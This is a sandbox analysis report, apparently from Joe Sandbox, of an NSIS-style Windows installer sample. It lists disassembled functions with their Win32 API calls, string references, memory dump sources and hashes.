KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
N, xrefs: 00404C32
, xrefs: 00404F65
@, xrefs: 00404BBC

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
\*.*, xrefs: 00406D2F
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
ptF, xrefs: 00406D1A
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

name, xrefs: 00406FEB
GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406858
F, xrefs: 00406A7F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

EnumProcesses, xrefs: 004064AE
Process32NextW, xrefs: 004065F4
GetModuleBaseNameW, xrefs: 004064C0
Module32NextW, xrefs: 0040660A
Kernel32.DLL, xrefs: 004065C7
Unknown, xrefs: 00406528
Module32FirstW, xrefs: 004065FF
Process32FirstW, xrefs: 004065E9
CreateToolhelp32Snapshot, xrefs: 004065E1
EnumProcessModules, xrefs: 004064B6
PSAPI.DLL, xrefs: 00406490

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

F, xrefs: 004042D3
open, xrefs: 0040430B
N, xrefs: 00404298

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
